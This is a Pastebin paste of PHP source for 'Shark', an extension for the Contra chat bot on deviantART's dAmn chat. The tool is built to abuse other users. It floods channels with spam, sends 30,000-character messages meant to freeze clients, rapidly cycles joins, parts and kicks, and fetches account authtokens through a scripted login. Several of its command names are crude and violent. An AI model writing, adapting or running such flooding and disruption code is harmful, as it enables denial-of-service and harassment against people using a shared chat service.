infernotorrent

Untitled

Feb 27th, 2010
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.00 KB | None | 0 0
  1. <?php
  2.  
  3. // This is Shark/Modded Jackal for Contra
  4. // Authors; i-hate-mushrooms & zombiewhale
  5.  
  6. class dAmn_Shark extends extension {
  7.    
  8.     public $name = 'Shark';
  9.     public $version = '1';
  10.     public $about = 'No info, beat the author.';
  11.     public $status = true;
  12.     public $author = 'i-hate-mushrooms';
  13.     public $type = EXT_CUSTOM;
  14.    
  15.     function init() {
  16.        
  17.             $this->addCmd('f', 'c_freeze', 99);
  18.             $this->addCmd('s', 'c_spam', 99);
  19.             $this->addCmd('r', 'c_rape', 99);
  20.             $this->addCmd('t', 'c_gettoken', 99);
  21.             $this->addCmd('sr', 'c_spamrape', 99);
  22.             $this->addCmd('log', 'c_login', 99);
  23.             $this->addCmd('jsp', 'c_joinspampart', 99);
  24.             $this->addCmd('kr', 'c_kickrape', 99);
  25. //          $this->addCmd('getcookie', 'c_cookie', 99);
  26.  
  27.        
  28.             $this->cmdHelp('f', 'Freeze.');
  29.             $this->cmdHelp('s', 'Spam.');
  30.             $this->cmdHelp('r', 'Rape.');
  31.             $this->cmdHelp('t', 'Token.');
  32.             $this->cmdHelp('sr', 'SR.');
  33.             $this->cmdHelp('log', 'Login.');
  34.             $this->cmdHelp('jsp', 'No help for this command, beat the author.');
  35.             $this->cmdHelp('kr', 'KR.');
  36. //          $this->cmdHelp('getcookie', 'No help for this command, beat the author.');
  37. }
  38.  
  39.     function c_freeze($ns, $from, $message, $target) {
  40.             $tg = args($message, 1);
  41.             $nu = args($message, 2, true);
  42.     if (empty($tg))
  43.             $this->dAmn->say($ns, $from.': <b>Usage:</b> f channel number');
  44.     else   
  45.             $this->dAmn->join("chat:$tg");
  46.     for ($i = 0; $i < $nu; $i++) {
  47.             $this->dAmn->say("chat:$tg", "<abbr title='" . str_repeat('.', 30000) . "'>&#09;</abbr>");
  48. }
  49. }
  50.    
  51.     function c_spam($ns, $from, $message, $target) {
  52.             $tg = args($message, 1);
  53.             $nu = args($message, 2);
  54.             $msg = args($message, 3, true);
  55.     if (empty($tg))
  56.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number message');
  57.     else   
  58.         $this->dAmn->join("chat:$tg");
  59.     for($i = 0; $i < $nu; $i++) {
  60.             $this->dAmn->say("chat:$tg", $msg);
  61. }
  62. }
  63.        
  64.     function c_joinspampart($ns, $from, $message, $target) {
  65.             $tg = args($message, 1);
  66.             $nu = args($message, 2);
  67.             $msg = args($message, 3, true);
  68.     if (empty($tg))
  69.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number message');
  70.     else   
  71.             $this->dAmn->join("chat:$tg");
  72.     for ($i = 0; $i < $nu; $i++) {
  73.             $this->dAmn->say("chat:$tg", $msg);
  74. }
  75.             $this->dAmn->part("chat:$tg");
  76. }
  77.        
  78.     function c_rape($ns, $from, $message, $target) {
  79.             $tg = args($message, 1);
  80.             $nu = args($message, 2, true);
  81.     if (empty($tg))
  82.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number');
  83.     else {
  84.     for ($i = 0; $i < $nu; $i++) {
  85.             $this->dAmn->part("chat:$tg");
  86.             $this->dAmn->join("chat:$tg");
  87. }
  88. }
  89. }
  90.            
  91.     function c_gettoken($ns, $from, $message, $target) {
  92.             $user = args($message, 1);
  93.             $pass = args($message, 2);
  94.             $un = args($message, 3, true);
  95.     if (empty($user))
  96.     return
  97.             $this->dAmn->say($ns, $from.': <b>Usage:</b> At least provide a username.');
  98.     elseif (empty($pass)) {
  99.             $this->dAmn->say($ns, $from.': Enter password in bot console.');
  100.     print "What's the password? ";
  101.             $pass = trim(fgets(STDIN));
  102. }
  103.             $cookie = cookiegrab($user, $pass);
  104.     if (empty($cookie))
  105.             $this->dAmn->say($ns, $from.': Invalid username or password.');
  106.             $this->dAmn->say($ns, $from.': ' . $cookie['authtoken']);
  107. }
  108.        
  109.     function c_spamrape($ns, $from, $message, $target) {
  110.             $tg = args($message, 1);
  111.             $nu = args($message, 2);
  112.             $msg = args($message, 3, true);
  113.     if (empty($tg))
  114.             $this->dAmn->say($ns, $from.': <b>Usage:</b> s channel number');
  115.     else
  116.     for($i = 0; $i < $nu; $i++) {
  117.             $this->dAmn->join("chat:$tg");
  118.             $this->dAmn->say("chat:$tg", $msg);
  119.             $this->dAmn->part("chat:$tg");
  120. }
  121. }
  122.        
  123.     function c_login($ns, $from, $message, $target) {
  124.             $user = args($message, 1);
  125.             $pass = args($message, 2);
  126.             $wut = args($message, 3, true);
  127.     if (empty($user))
  128.             $this->dAmn->say($ns, $from.': At least provide a username.');
  129.     elseif (empty($pass)) {
  130.             $this->dAmn->say($ns, $from.': Enter password in the console.');
  131.     print "What's $user's password? ";
  132.             $pass = trim(fgets(STDIN));
  133. }
  134.             $cookie = cookiegrab($user, $pass);
  135.     if (empty($cookie))
  136.             $this->dAmn->say($ns, $from.': Invalid username or password.');
  137.             $this->Bot->username = $user;
  138.             $this->Bot->cookie['authtoken'] = $cookie['authtoken'];
  139.             $this->dAmn->disconnect();
  140. }
  141.     function c_kickrape($ns, $from, $message, $target) {
  142.             $user = args($message, 1);
  143.             $nu = args($message, 2);
  144.             $res = args($message, 3, true);
  145.     if(empty($user)) {
  146.             $this->dAmn->say($ns, $from.': <b>Usage:</b> kr username number reason');
  147.     return;
  148. }
  149.     if (!is_numeric($nu))
  150.             $r = args($message, 2, true); $r = $r==''?false:$r;
  151.     for($i = 0; $i < $nu; $i++) {
  152.         sleep(1);
  153.             $this->dAmn->kick($target, $user, $res);
  154.             }
  155.         }
  156.     }
  157.  
  158.         define('LBR', chr(10));
  159.     function cookiegrab($username, $pass) {
  160.    
  161.             $socket = fsockopen('ssl://www.deviantart.com', 443);
  162.     if      ($socket === false) {
  163.     echo '>> Unable to connect.'.LBR;
  164.     echo '>> Check your connection.'.LBR;
  165.     return 1;
  166. }
  167.             $POST = 'ref='.urlencode('https://www.deviantart.com/users/login');
  168.             $POST.= '&username='.urlencode($username);
  169.             $POST.= '&password='.urlencode($pass);
  170.             $POST.= '&reusetoken=1' . chr(0);
  171.         fputs($socket, 'POST /users/login HTTP/1.1'.LBR);
  172.         fputs($socket, 'Host: www.deviantart.com'.LBR);
  173.         fputs($socket, 'User-Agent: Authtoken grabber'.LBR);
  174.         fputs($socket, 'Accept: text/html'.LBR);
  175.         fputs($socket, 'Cookie: skipintro=1'.LBR);
  176.         fputs($socket, 'Content-Type: application/x-www-form-urlencoded'.LBR);
  177.         fputs($socket, 'Content-Length: ' . strlen ($POST) . LBR . LBR . $POST);
  178.             $response = '';
  179.     while (!feof ($socket))
  180.             $response .= fgets ($socket, 500);
  181.         fclose ($socket);
  182.     if(!empty($response)) {
  183.             $response = urldecode($response);
  184.             $response = substr($response, strpos($response,'=')+1);
  185.             $cookie = unserialize(substr($response, 0, strpos($response, ';};')+2));
  186.     if(is_array($cookie)) {
  187.     if(array_key_exists('authtoken', $cookie))
  188.     return $cookie;
  189. }
  190. }
  191.     return Null;  
  192. }
  193.  
  194. new dAmn_Shark;
  195.  
  196. ?>
Add Comment
Please, Sign In to add comment